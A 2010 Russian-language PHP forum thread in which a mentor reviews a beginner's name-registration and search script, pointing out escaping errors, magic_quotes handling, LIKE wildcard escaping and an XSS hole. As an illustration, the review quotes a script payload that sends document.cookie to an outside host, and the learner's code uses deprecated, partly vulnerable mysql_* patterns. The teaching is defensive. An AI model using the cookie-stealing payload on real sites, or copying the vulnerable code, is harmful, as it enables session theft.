Условия задачи здесь.
config.php
Свернутый текст
<?php
define('SERVER', 'localhost');
define('DATABASE', 'names');
define('USER', 'root');
define('PASSWORD', '');
mysql_connect(SERVER, USER, PASSWORD) or die(mysql_error());
mysql_select_db(DATABASE) or die(mysql_error());
mysql_query("SET NAMES utf8");
mysql_query("SET CHARACTER SET utf8");
mysql_query("SET COLLATION_CONNECTION='utf8_general_ci'");
.htaccess
Свернутый текст
AddDefaultCharset UTF-8
php_flag register_globals off
php_flag magic_quotes_gpc off
php_flag magic_quotes_runtime off
controller.php
Свернутый текст
<?php
//vars
$_POST = chars($_POST);
$_GET = chars($_GET);
$login = !empty($_POST['login']) ? $_POST['login'] : null;
$word = !empty($_GET['word']) ? $_GET['word'] : null;
$id = !empty($_GET['id']) ? (int)$_GET['id'] : null;
$ok = isset($_POST['ok']) ? true : false;
$search = isset($_GET['search']) ? true : false;
//////////////////////
//functions
function clearData($data)
{
if(is_array($data))
$data = array_map('clearData', $data);
else
$data = mysql_real_escape_string($data);
return $data;
}
function slashes($data)
{
if(is_array($data))
$data = array_map('slashes', $data);
else
$data = stripslashes($data);
return $data;
}
if(get_magic_quotes_gpc())
{
$_GET = slashes($_GET);
$_POST = slashes($_POST);
}
function chars($data)
{
if(is_array($data))
$data = array_map('chars', $data);
else
$data = htmlspecialchars($data);
return $data;
}
//////////////////////
//add to base
if($ok)
{
if(empty($login) || $login == ' ')
print '<b style="color:red">введите имя</b><hr />';
else
{
mysql_query("INSERT INTO `names`
SET `name` = '". clearData($login) ."'");
header('location: '. $_SERVER['PHP_SELF']);
exit();
}
}
//////////////////////
//search in base
if($search)
{
if(empty($word))
print '<b style="color:red">вы не ввели слово для поиска</b><hr />';
else
{
$res = mysql_query("SELECT * FROM `names`
WHERE `name` LIKE '%". addcslashes($word, '%\\\'') ."%'");
if(mysql_num_rows($res) > 0)
{
print '<b>Результаты поиска:</b><br />';
while($row = mysql_fetch_assoc($res))
print '<span style="color:blue">'. $row['name'] .'</span><br />';
print '<hr />';
}
else
print '<b style="color:red">поиск не дал результатов</b><hr />';
}
}
//////////////////////
//output register date of user
if($id)
{
$res = mysql_query("SELECT * FROM `names`
WHERE `id` = ". $id);
if(mysql_num_rows($res) > 0)
{
while($row = mysql_fetch_assoc($res))
print '<div style="font-style:italic">юзер <b>'. $row['name'] .
'</b> зарегистрировался <b style="color:gray">'.
$row['date'] .'</b></div><br />';
print '<hr />';
}
}
//////////////////////
//select from base
$res = mysql_query("SELECT * FROM `names`
ORDER BY `id` DESC");
if(mysql_num_rows($res) > 0)
{
while($row = mysql_fetch_assoc($res))
print '<a href="?id='. $row['id'] .'">'. $row['name'] .'</a><br />';
}
else
print 'записей еще нет<hr />';
//////////////////////
index.php
Свернутый текст
<?php
header('Content-type:text/html; charset="utf-8"');
error_reporting(E_ALL & E_STRICT);
include './config.php';
include './controller.php';
?>
<br /><br />
<form method="post" action="">
регистрация<br />
<input type="text" name="login" value="" /><br />
<input type="submit" name="ok" value="Зарегистрироваться" />
</form>
<br />
<form action="" method="get">
поиск<br />
<input type="text" name="word" value="<?php print $word; ?>" /><br />
<input type="submit" name="search" value="искать" />
</form>
Спустя 16 часов, 38 минут, 49 секунд (9.08.2010 - 05:58) twin написал(а):
Так, ну что сказать. Красиво написано, стиль на уровне профессионального.
А вот с функционалом не так все гладко. Вернее не гладко вообще.
С первой же строчки - ошибка. Ну с какого перепуга входные данные обрабатываются htmlspecialchars()?
Сто раз же говорено - эта функция для обработки данных непосредственно перед выдачей их в поток. Никак не раньше. Во избежании несовместимостей и в целях безопасности в базе должны храниться исходные данные, а не искаженные. Если я проникну в базу окольными путями и напишу туда что то типа
будет пипец.
Следом у тебя идет инициализация. То есть ты данные из массивов $_POST и $_GET вынимаешь в простые переменные. И только потом! обрабатываешь эти массивы на предмет магических кавычек.
Во первых для чего? Эти массивы больше нигде не используются.
Во вторых, для чего еще раз экранировать, если директива magic_quotes включена? А ведь это проверяется в твоем условии.
А чтобы убедиться - поставь в .htaccess
и попробуй зарегать O'Relly
Вот в этом месте
зачем то экранируешь (да еще на несколько раз) апостроф, а вот про нижнее подчеркивание позабыл. Или не знал. Сунь его в поиск и приятно удивишься.
То же самое с бэкслэшем. Я же не зря дал тестовые имена. Попорбуй посмотреть, как скрипт будет себя вести с таким именем \ bacslashes \
Теперь более мелкие ошибки и рекомендации.
Вот сюда
по RFC требуется полный путь, вместе с протоколом.
Не знаю кто как, но лично я на это
сделал стойку. И только потом догадался, что ты (int) поставил на входе. Дорога ложка к обеду, обрабатывать нужно по месту.
Ну пожалуй и все. В общем и целом работа очень неплохая, но чувствуется, что ты не совсем понимаешь механизмы. И тычешь все наугад.
Делай работу над ошибками - придет просветление.
А вот с функционалом не так все гладко. Вернее не гладко вообще.
С первой же строчки - ошибка. Ну с какого перепуга входные данные обрабатываются htmlspecialchars()?
Сто раз же говорено - эта функция для обработки данных непосредственно перед выдачей их в поток. Никак не раньше. Во избежании несовместимостей и в целях безопасности в базе должны храниться исходные данные, а не искаженные. Если я проникну в базу окольными путями и напишу туда что то типа
<script>location.href='http://sniffer.ch?cook='+document.cookie()</script>
будет пипец.
Следом у тебя идет инициализация. То есть ты данные из массивов $_POST и $_GET вынимаешь в простые переменные. И только потом! обрабатываешь эти массивы на предмет магических кавычек.
if(get_magic_quotes_gpc())
{
$_GET = slashes($_GET);
$_POST = slashes($_POST);
}
Во первых для чего? Эти массивы больше нигде не используются.
Во вторых, для чего еще раз экранировать, если директива magic_quotes включена? А ведь это проверяется в твоем условии.
А чтобы убедиться - поставь в .htaccess
php_flag magic_quotes_gpc on
php_flag magic_quotes_runtime on
и попробуй зарегать O'Relly
Вот в этом месте
$res = mysql_query("SELECT * FROM `names`
WHERE `name` LIKE '%". addcslashes($word, '%\\\'') ."%'");
зачем то экранируешь (да еще на несколько раз) апостроф, а вот про нижнее подчеркивание позабыл. Или не знал. Сунь его в поиск и приятно удивишься.
То же самое с бэкслэшем. Я же не зря дал тестовые имена. Попорбуй посмотреть, как скрипт будет себя вести с таким именем \ bacslashes \
Теперь более мелкие ошибки и рекомендации.
Вот сюда
header('location: '. $_SERVER['PHP_SELF']);
по RFC требуется полный путь, вместе с протоколом.
Не знаю кто как, но лично я на это
$res = mysql_query("SELECT * FROM `names`
WHERE `id` = ". $id
);
сделал стойку. И только потом догадался, что ты (int) поставил на входе. Дорога ложка к обеду, обрабатывать нужно по месту.
Ну пожалуй и все. В общем и целом работа очень неплохая, но чувствуется, что ты не совсем понимаешь механизмы. И тычешь все наугад.
Делай работу над ошибками - придет просветление.
Спустя 2 часа, 2 минуты, 29 секунд (9.08.2010 - 08:01) Lenarfate написал(а):
Цитата |
зачем то экранируешь (да еще на несколько раз) апостроф |
А иначе в поиске не находит ничего с апострофом. поэтому его оставил)) а так вот, переписал
Свернутый текст
<?php
//vars
if(get_magic_quotes_gpc())
{
$_GET = slashes($_GET);
$_POST = slashes($_POST);
}
$login = !empty($_POST['login']) ? $_POST['login'] : null;
$word = !empty($_GET['word']) ? $_GET['word'] : null;
$id = !empty($_GET['id']) ? $_GET['id'] : null;
$ok = isset($_POST['ok']) ? true : false;
$search = isset($_GET['search']) ? true : false;
//////////////////////
//functions
function clearData($data)
{
if(is_array($data))
$data = array_map('clearData', $data);
else
$data = mysql_real_escape_string($data);
return $data;
}
function slashes($data)
{
if(is_array($data))
$data = array_map('slashes', $data);
else
$data = stripslashes($data);
return $data;
}
function chars($data)
{
if(is_array($data))
$data = array_map('chars', $data);
else
$data = htmlspecialchars($data);
return $data;
}
//////////////////////
//add to base
if($ok)
{
if(empty($login) || $login == ' ')
print '<b style="color:red">введите имя</b><hr />';
else
{
mysql_query("INSERT INTO `names`
SET `name` = '". clearData($login) ."'");
header('location: http://'. $_SERVER['HTTP_HOST']);
exit();
}
}
//////////////////////
//search in base
if($search)
{
if(empty($word))
print '<b style="color:red">вы не ввели слово для поиска</b><hr />';
else
{
$res = mysql_query("SELECT * FROM `names`
WHERE `name` LIKE '%". addcslashes($word, '%\\\'_') ."%'");
if(mysql_num_rows($res) > 0)
{
print '<b>Результаты поиска:</b><br />';
while($row = chars(mysql_fetch_assoc($res)))
print '<span style="color:blue">'. $row['name'] .'</span><br />';
print '<hr />';
}
else
print '<b style="color:red">поиск не дал результатов</b><hr />';
}
}
//////////////////////
//output register date of user
if($id)
{
$res = mysql_query("SELECT * FROM `names`
WHERE `id` = ". (int)$id);
if(mysql_num_rows($res) > 0)
{
while($row = chars(mysql_fetch_assoc($res)))
print '<div style="font-style:italic">юзер <b>'. $row['name'] .
'</b> зарегистрировался <b style="color:gray">'.
$row['date'] .'</b></div><br />';
print '<hr />';
}
}
//////////////////////
//select from base
$res = mysql_query("SELECT * FROM `names`
ORDER BY `id` DESC");
if(mysql_num_rows($res) > 0)
{
while($row = chars(mysql_fetch_assoc($res)))
print '<a href="?id='. $row['id'] .'">'. $row['name'] .'</a><br />';
}
else
print 'записей еще нет<hr />';
//////////////////////
Спустя 14 минут, 4 секунды (9.08.2010 - 08:15) Michael написал(а):
Ты лучше на хостинг себе поставь. Сразу все проблемы вылезут. А то так теоретически, по коду, не интересно.
Спустя 21 минута, 24 секунды (9.08.2010 - 08:36) twin написал(а):
Ну вот так получше.
С апострофом у тебя проблема, потому что ты не обрабатываешь данные штатной функцией. По этому и приходится руками.
Но с бэкслэшем бок остался и появились проблемы XSS.
Поле поиска теперь уязвимо.
С апострофом у тебя проблема, потому что ты не обрабатываешь данные штатной функцией. По этому и приходится руками.
Но с бэкслэшем бок остался и появились проблемы XSS.
Поле поиска теперь уязвимо.
Спустя 13 минут, 21 секунда (9.08.2010 - 08:49) twin написал(а):
Да, упустил. Попробуй проговорить своими словами вот этот алгоритм:
if(get_magic_quotes_gpc())
{
$_GET = slashes($_GET);
$_POST = slashes($_POST);
}
Спустя 7 минут, 54 секунды (9.08.2010 - 08:57) Lenarfate написал(а):
если включен magic_quotes, обрабатываем пост и гет функцией slashes()
а с полем поиска так
а с полем поиска так
$res = mysql_query("SELECT * FROM `names`
WHERE `name` LIKE '%". clearData(addcslashes($word, '%\\_')) ."%'");
Спустя 1 час, 12 минут, 19 секунд (9.08.2010 - 10:10) twin написал(а):
Цитата |
если включен magic_quotes, обрабатываем пост и гет функцией slashes() |
Просто название функции slashes() говорит об обратном. Такое впечатление, что ты наоборот еще раз экранируешь. Это не гут, давать противоестественные названия. Хуже, чем вообще неговорящие.
Ну и последний штрих - в форму нужно возвращать обработанные данные. Ну а в целом справился. Поздравляю.
Ну и последний штрих - в форму нужно возвращать обработанные данные. Ну а в целом справился. Поздравляю.
Спустя 25 минут, 35 секунд (9.08.2010 - 10:35) Lenarfate написал(а):